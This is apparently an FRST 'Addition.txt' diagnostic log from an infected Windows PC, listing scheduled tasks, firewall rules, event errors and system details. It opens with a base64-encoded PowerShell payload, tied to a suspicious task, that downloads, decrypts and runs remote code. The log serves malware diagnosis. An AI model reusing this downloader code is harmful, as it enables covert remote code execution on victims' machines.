QBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AE8AUwBWAGUAcgBzAGkAbwBuAC4AVgBlAHIAcwBpAG8AbgA7AAoAaQBmACgAJAB2AC4ATQBhAGoAbwByACAALQBlAHEAIAA1ACkAewBpAGYAKAAoACQAdgAuAE0AaQBuAG8AcgAgAC0AbAB0ACAAMgApACAALQBBAE4ARAAgACgAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0AKQAuAFMAZQByAHYAaQBjAGUAUABhAGMAawBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgAC0AbAB0ACAAMgApACkAewBiAHIAZQBhAGsAOwB9AH0ACgBpAGYAKAAtAE4ATwBUACAAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBQAHIAaQBuAGMAaQBwAGEAbABdAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEkAZABlAG4AdABpAHQAeQBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0ACgAKQApAC4ASQBzAEkAbgBSAG8AbABlACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAQgB1AGkAbAB0AEkAbgBSAG8AbABlAF0AIAAiAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIgApACkAewBiAHIAZQBhAGsAOwB9AAoAZgB1AG4AYwB0AGkAbwBuACAAdwBjACgAJAB1AHIAbAApAHsAJAByAHEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAByAHEALgBVAHMAZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9ACQAdAByAHUAZQA7ACQAcgBxAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgB1AHMAZQByAC0AYQBnAGUAbgB0ACIALAAiAE0AbwB6AGkAbABsAGEALwA0AC4AMAAgACgAYwBvAG0AcABhAHQAaQBiAGwAZQA7ACAATQBTAEkARQAgADcALgAwADsAIABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwApACIAKQA7AHIAZQB0AHUAcgBuACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHIAcQAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1AHIAbAApACkAOwB9AAoAZgB1AG4AYwB0AGkAbwBuACAAZABzAHQAcgAoACQAcgBhAHcAZABhAHQAYQApAHsAJABiAHQAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcgBhAHcAZABhAHQAYQApADsAJABlAHgAdAA9ACQAYgB0AFsAMABdADsAJABrAGUAeQA9ACQAYgB0AFsAMQBdACAALQBiAHgAbwByACAAMQA3ADAAOwBmAG8AcgAoACQAaQA9ADIAOwAkAGkAIAAtAGwAdAAgACQAYgB0AC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAGIAdABbACQAaQBdAD0AKAAkAGIAdABbACQAaQBdACAALQBiAHgAbwByACAAKAAoACQAawBlAHkAIAArACAAJABpACkAIAAtAGIAYQBuAGQAIAAyADUANQApACkAOwB9AAoAcgBlAHQAdQByAG4AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAJABiAHQALAAyACwAKAAkAGIAdAAuAEwAZQBuAGcAdABoAC0AJABlAHgAdAApACkAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AH0ACgAkAHMAYwA9AGQAcwB0AHIAKAB3AGMAKAAkAHMAdQByAGwAKQApADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAALQBjAG8AbQBtAGEAbgBkACAAIgAkAHMAYwAiADsAfQBjAGEAdABjAGgAewB9ADsAZQB4AGkAdAAgADAAOwA=
Task: {BE676D6C-B140-455D-8E62-3FB96ABBB70A} - System32\Tasks\Adobe Acrobat Update Task => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [2015-10-28] (Adobe Systems Incorporated)
Task: {CAFD8769-3226-40B3-BA80-A039DC4F1586} - \One System Care Task -> No File <==== ATTENTION
Task: {DD9F510C-95F4-499A-90C8-BAC5BC372FF4} - System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask => start sppsvc
Task: {DEE36CE5-8840-48A7-82DC-9D23DD3ED43A} - \WebDiscover Browser Update Task -> No File <==== ATTENTION
Task: {E3FC80A3-71E5-441F-97CC-EF3F358A81F4} - System32\Tasks\Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime => C:\Windows\system32\GWX\GWXUXWorker.exe [2015-12-05] (Microsoft Corporation)

(If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.)

Task: C:\Windows\Tasks\Adobe Flash Player Updater.job => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
Task: C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
Task: C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
Task: C:\Windows\Tasks\SystemToolsDailyTest.job => C:\Program Files\Dell Support Center\uaclauncher.exe
Task: C:\Windows\Tasks\{0B050847-0D0D-7F0E-7E11-0B05080F117E}.job => powershell exe

==================== Shortcuts =============================

(The entries could be listed to be restored or removed.)

==================== Loaded Modules (Whitelisted) ==============

2015-09-15 15:25 - 2015-09-15 15:25 - 00085800 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\zlib1.dll
2015-10-13 04:45 - 2015-10-13 04:45 - 01328912 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\libxml2.dll
2015-12-22 01:44 - 2015-12-08 19:52 - 00217720 _____ () C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamBase.dll
2015-07-24 15:10 - 2015-12-16 11:34 - 00012080 _____ () C:\Program Files\NVIDIA Corporation\CoProcManager\detoured.dll
2013-09-25 04:01 - 2013-09-25 04:01 - 00086016 _____ () C:\Program Files (x86)\Bluetooth Suite\Modules\Map\MAP.dll
2013-08-07 14:38 - 2013-08-07 14:38 - 00283648 _____ () C:\Program Files\Qualcomm Atheros\Network Manager\NetworkManager.exe
2015-07-24 15:11 - 2015-12-16 08:53 - 00126072 _____ () C:\Program Files\NVIDIA Corporation\Display\NvSmartMax64.dll
2013-11-15 18:17 - 2013-11-15 18:17 - 04593968 _____ () C:\Program Files (x86)\Alienware On-Screen Display\AlienwareOn-ScreenDisplay.exe
2015-07-24 15:10 - 2015-12-16 11:34 - 00011896 _____ () C:\Program Files (x86)\NVIDIA Corporation\CoProcManager\detoured.dll
2015-08-16 18:45 - 2015-12-08 19:53 - 00011896 _____ () C:\Program Files (x86)\NVIDIA Corporation\Update Core\detoured.dll
2009-12-18 12:07 - 2009-12-18 12:07 - 00577536 _____ () C:\Program Files (x86)\Alienware On-Screen Display\EMSC.dll
2012-09-13 01:38 - 2012-09-13 01:38 - 02144104 _____ () C:\Program Files (x86)\Logitech\LWS\Webcam Software\QtCore4.dll
2012-09-13 01:38 - 2012-09-13 01:38 - 07955304 _____ () C:\Program Files (x86)\Logitech\LWS\Webcam Software\QtGui4.dll
2012-09-13 01:38 - 2012-09-13 01:38 - 00341352 _____ () C:\Program Files (x86)\Logitech\LWS\Webcam Software\QtXml4.dll
2012-09-13 01:38 - 2012-09-13 01:38 - 00028008 _____ () C:\Program Files (x86)\Logitech\LWS\Webcam Software\imageformats\QGif4.dll
2012-09-13 01:38 - 2012-09-13 01:38 - 00127336 _____ () C:\Program Files (x86)\Logitech\LWS\Webcam Software\imageformats\QJpeg4.dll
2015-12-15 20:18 - 2015-12-10 21:54 - 01583432 _____ () C:\Program Files (x86)\Google\Chrome\Application\47.0.2526.106\libglesv2.dll
2015-12-15 20:18 - 2015-12-10 21:54 - 00081224 _____ () C:\Program Files (x86)\Google\Chrome\Application\47.0.2526.106\libegl.dll
2015-12-24 15:09 - 2015-12-24 07:46 - 16792256 _____ () C:\Users\Hartley\AppData\Local\Google\Chrome\User Data\PepperFlash\20.0.0.267\pepflashplayer.dll

==================== Alternate Data Streams (Whitelisted) =========

(If an entry is included in the fixlist, only the ADS will be removed.)


==================== Safe Mode (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.)

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\43221747.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\57583884.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\43221747.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\57583884.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ccSettings_{5A2B9522-769B-49C3-9B8E-C708A1FEF279}.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SepMasterService => ""="Service"

==================== EXE Association (Whitelisted) ===============

(If an entry is included in the fixlist, the registry item will be restored to default or removed.)


==================== Internet Explorer trusted/restricted ===============

(If an entry is included in the fixlist, it will be removed from the registry.)

IE trusted site: HKU\S-1-5-21-4242849718-3108068718-1801462104-1000\...\dell.com -> dell.com
IE restricted site: HKU\S-1-5-21-4242849718-3108068718-1801462104-1000\...\skype.com -> hxxps://apps.skype.com

==================== Hosts content: ===============================

(If needed Hosts: directive could be included in the fixlist to reset Hosts.)

2009-07-13 20:34 - 2015-12-24 21:12 - 00000768 ____A C:\Windows\system32\Drivers\etc\hosts

127.0.0.1	localhost

==================== Other Areas ============================

(Currently there is no automatic fix for this section.)

HKU\S-1-5-21-4242849718-3108068718-1801462104-1000\Control Panel\Desktop\\Wallpaper -> 
DNS Servers: 192.168.1.254
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall is enabled.

==================== MSCONFIG/TASK MANAGER disabled items ==

(Currently there is no automatic fix for this section.)

MSCONFIG\startupreg: iTunesHelper => "C:\Program Files\iTunes\iTunesHelper.exe"
MSCONFIG\startupreg: Logitech G930 => C:\Program Files (x86)\Logitech\G930\G930.exe
MSCONFIG\startupreg: Spotify Web Helper => "C:\Users\Hartley\AppData\Roaming\Spotify\SpotifyWebHelper.exe"

==================== FirewallRules (Whitelisted) ===============

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

FirewallRules: [{BD52980B-9412-42D5-A323-07AF2A65DCB8}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{0B9BFF0C-B9B1-414D-B914-0A429B20DD18}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{82A616A1-9AC9-4213-89C8-FB1293DAE196}] => (Allow) C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.5337.5000.105\Bin\Smc.exe
FirewallRules: [{4ECF7A5D-D5DF-43EB-9FF8-5E5F571111AB}] => (Allow) C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.5337.5000.105\Bin\Smc.exe
FirewallRules: [{E3CB8425-B66C-4A8F-A7A7-FF970F8946D9}] => (Allow) C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.5337.5000.105\Bin64\snac64.exe
FirewallRules: [{8FEF83AE-8481-4489-B2BE-3306F69362DB}] => (Allow) C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.5337.5000.105\Bin64\snac64.exe
FirewallRules: [{D83920C2-C347-413F-AC32-16DAE0D17D0B}] => (Allow) C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe
FirewallRules: [{57971D61-8860-481F-9232-DAC90EDF668F}] => (Allow) C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe
FirewallRules: [{964B236E-DA67-418D-A219-C4201EE1B7BD}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe
FirewallRules: [{5B3329FD-7199-4D31-997C-015669D4735A}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe
FirewallRules: [{E78FBA28-1D03-4AF8-923E-2F905A107144}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamUserAgent.exe
FirewallRules: [{B48665D3-2713-45F4-A639-2191ACD61EA8}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe
FirewallRules: [{2A7F2611-4391-44C3-93FC-41143AF69AE2}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe
FirewallRules: [{6A725C4B-06E1-4AD0-962B-54FD73462324}] => (Allow) C:\Program Files (x86)\Skype\Phone\Skype.exe
FirewallRules: [TCP Query User{E2A6484E-105B-4847-A815-E7C2FD0BE7A3}C:\users\hartley\appdata\roaming\spotify\spotify.exe] => (Allow) C:\users\hartley\appdata\roaming\spotify\spotify.exe
FirewallRules: [UDP Query User{80B04245-0965-4D85-9DEC-E2E67B1B02C4}C:\users\hartley\appdata\roaming\spotify\spotify.exe] => (Allow) C:\users\hartley\appdata\roaming\spotify\spotify.exe
FirewallRules: [{BB732C89-F674-4407-8AA0-99411B28B6D6}] => (Block) C:\users\hartley\appdata\roaming\spotify\spotify.exe
FirewallRules: [{D777EBA1-F6C1-4396-BCA0-CB0EACC09884}] => (Block) C:\users\hartley\appdata\roaming\spotify\spotify.exe
FirewallRules: [{7ED83104-BB5C-4CB5-9905-D704B8165886}] => (Allow) C:\Program Files\Bonjour\mDNSResponder.exe
FirewallRules: [{C4A8CFF1-0ECD-40DC-9912-940A12953517}] => (Allow) C:\Program Files\Bonjour\mDNSResponder.exe
FirewallRules: [{C9A964A5-1A08-4AB8-946C-11BB5730A82A}] => (Allow) C:\Program Files (x86)\Bonjour\mDNSResponder.exe
FirewallRules: [{2B14CA04-1422-44ED-8247-4864FDAF3679}] => (Allow) C:\Program Files (x86)\Bonjour\mDNSResponder.exe
FirewallRules: [{F787EDC7-C929-463E-AED9-F10B0948BB63}] => (Allow) C:\Users\Hartley\AppData\Roaming\uTorrent\uTorrent.exe
FirewallRules: [{CA6565EA-ADA2-42C7-BCF5-7BAD5BD9351B}] => (Allow) C:\Users\Hartley\AppData\Roaming\uTorrent\uTorrent.exe
FirewallRules: [{2A763575-625B-41DD-A86A-B3ED5816CB10}] => (Allow) C:\Users\Hartley\AppData\Roaming\uTorrent\uTorrent.exe
FirewallRules: [{6967E5FA-444E-436A-BC1B-89D51C470A70}] => (Allow) C:\Users\Hartley\AppData\Roaming\uTorrent\uTorrent.exe
FirewallRules: [{6E5DD490-0509-4970-8A13-7CA4546502AB}] => (Allow) C:\Users\Hartley\AppData\Roaming\uTorrent\uTorrent.exe
FirewallRules: [{F1A711EF-EC59-4E15-B506-F3F4883E7C5D}] => (Allow) C:\Users\Hartley\AppData\Roaming\uTorrent\uTorrent.exe
FirewallRules: [{EDBB1DF4-1895-4D5A-9776-75B9A2B942C1}] => (Allow) C:\Program Files\HP\HP Deskjet 1510 series\Bin\USBSetup.exe
FirewallRules: [{4D01A825-A8F1-4FF3-97D2-99A90EA43493}] => (Allow) C:\Program Files\HP\HP Deskjet 1510 series\Bin\HPNetworkCommunicatorCom.exe
FirewallRules: [{01A3B9FC-2D7A-42CE-ACDF-AAF1496D558C}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{D0157BEB-2EEE-4558-9C45-36B90D8394CA}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{B0FF0E9A-550F-45CF-AEE1-6058A8292A10}] => (Block) %ProgramFiles%\Adobe\Adobe Photoshop CC 2015\Photoshop.exe
FirewallRules: [{5EEBA3F8-9F10-482B-9C94-1C3BF4ACD4BD}] => (Block) %ProgramFiles%\Adobe\Adobe Photoshop CC 2015\Photoshop.exe
FirewallRules: [{C671BEB1-E61D-407D-BB7E-B5E9EFD111A9}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
FirewallRules: [TCP Query User{2F38A18E-CFA0-4E16-9FCA-FB8D3A4126CF}C:\program files\logitech gaming software\lcore.exe] => (Allow) C:\program files\logitech gaming software\lcore.exe
FirewallRules: [UDP Query User{14FEC95D-BABF-4ACF-A51C-2E10EA00D775}C:\program files\logitech gaming software\lcore.exe] => (Allow) C:\program files\logitech gaming software\lcore.exe
FirewallRules: [{24E420C5-2CFF-4E5C-93F9-045BFBABCE13}] => (Allow) C:\Program Files\iTunes\iTunes.exe
FirewallRules: [TCP Query User{7407EF35-7558-4D21-9B0B-6AF1D327CF2B}C:\program files\logitech gaming software\lcore.exe] => (Allow) C:\program files\logitech gaming software\lcore.exe
FirewallRules: [UDP Query User{E31F8834-0635-410F-B711-33AA80EC04A0}C:\program files\logitech gaming software\lcore.exe] => (Allow) C:\program files\logitech gaming software\lcore.exe

==================== Restore Points =========================

24-12-2015 21:29:06 Installed Blender
25-12-2015 14:14:22 Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501
26-12-2015 15:50:40 JRT Pre-Junkware Removal
02-01-2016 15:59:38 Scheduled Checkpoint
05-01-2016 20:02:53 JRT Pre-Junkware Removal
06-01-2016 23:27:19 Installed Logitech G930.

==================== Faulty Device Manager Devices =============

Name: BAPIDRV
Description: BAPIDRV
Class Guid: {8ECC055D-047F-11D1-A537-0000F8753ED1}
Manufacturer: 
Service: BAPIDRV
Problem: : This device is not present, is not working properly, or does not have all its drivers installed. (Code 24)
Resolution: The device is installed incorrectly. The problem could be a hardware failure, or a new driver might be needed.
Devices stay in this state if they have been prepared for removal.
After you remove the device, this error disappears.Remove the device, and this error should be resolved.


==================== Event log errors: =========================

Application errors:
==================
Error: (01/09/2016 06:05:08 PM) (Source: Symantec AntiVirus) (EventID: 51) (User: )
Description: Security Risk Found!WS.Reputation.1 in File: C:\Users\Hartley\Desktop\Antimalware\FRST64.exe by: Auto-Protect scan.  Action: Quarantine succeeded : Access denied.  Action Description: The file was quarantined successfully.

Error: (01/09/2016 03:18:34 PM) (Source: Customer Experience Improvement Program) (EventID: 1008) (User: )
Description: 80004005

Error: (01/09/2016 02:48:31 PM) (Source: WinMgmt) (EventID: 10) (User: )
Description: //./root/CIMV2SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_Processor" AND TargetInstance.LoadPercentage > 990x80041003

Error: (01/09/2016 12:11:30 AM) (Source: WinMgmt) (EventID: 10) (User: )
Description: //./root/CIMV2SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_Processor" AND TargetInstance.LoadPercentage > 990x80041003

Error: (01/08/2016 09:21:18 PM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 122555

Error: (01/08/2016 09:21:18 PM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: m->NextScheduledEvent 122555

Error: (01/08/2016 09:21:18 PM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: Continuously busy for more than a second

Error: (01/08/2016 08:46:36 PM) (Source: WinMgmt) (EventID: 10) (User: )
Description: //./root/CIMV2SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_Processor" AND TargetInstance.LoadPercentage > 990x80041003

Error: (01/08/2016 08:19:34 PM) (Source: Customer Experience Improvement Program) (EventID: 1008) (User: )
Description: 80004005

Error: (01/08/2016 07:20:30 PM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 16744398


System errors:
=============
Error: (01/09/2016 05:58:29 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: The iPod Service service terminated unexpectedly.  It has done this 1 time(s).

Error: (01/09/2016 12:10:37 AM) (Source: EventLog) (EventID: 6008) (User: )
Description: The previous system shutdown at 12:08:00 AM on ‎1/‎9/‎2016 was unexpected.

Error: (01/08/2016 08:40:50 PM) (Source: DCOM) (EventID: 10010) (User: )
Description: {F9717507-6651-4EDB-BFF7-AE615179BCCF}

Error: (01/07/2016 08:46:27 PM) (Source: EventLog) (EventID: 6008) (User: )
Description: The previous system shutdown at 8:41:26 PM on ‎1/‎7/‎2016 was unexpected.

Error: (01/07/2016 07:00:10 PM) (Source: Server) (EventID: 2505) (User: )
Description: The server could not bind to the transport \Device\NetBT_Tcpip_{F79600A4-6CAB-462E-8A1E-0B8E4C7A884E} because another computer on the network has the same name.  The server could not start.

Error: (01/06/2016 02:17:05 AM) (Source: DCOM) (EventID: 10010) (User: )
Description: {3EB3C877-1F16-487C-9050-104DBCD66683}

Error: (01/05/2016 08:04:40 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: The Windows Media Player Network Sharing Service service terminated unexpectedly.  It has done this 1 time(s).  The following corrective action will be taken in 30000 milliseconds: Restart the service.

Error: (01/05/2016 08:04:40 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: The Windows Modules Installer service terminated unexpectedly.  It has done this 1 time(s).  The following corrective action will be taken in 120000 milliseconds: Restart the service.

Error: (01/05/2016 08:04:40 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: The Intel(R) Dynamic Application Loader Host Interface Service service terminated unexpectedly.  It has done this 1 time(s).

Error: (01/05/2016 08:04:40 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: The Intel(R) Rapid Storage Technology service terminated unexpectedly.  It has done this 1 time(s).


==================== Memory info =========================== 

Processor: Intel(R) Core(TM) i7-4700MQ CPU @ 2.40GHz
Percentage of memory in use: 42%
Total physical RAM: 8073.03 MB
Available physical RAM: 4646.32 MB
Total Virtual: 16144.26 MB
Available Virtual: 12329.78 MB

==================== Drives ================================

Drive c: (OS) (Fixed) (Total:672.93 GB) (Free:551.1 GB) NTFS

==================== MBR & Partition Table ==================

========================================================
Disk: 0 (Size: 698.6 GB) (Disk ID: 6F6C7FD0)

Partition: GPT.

==================== End of Addition.txt ============================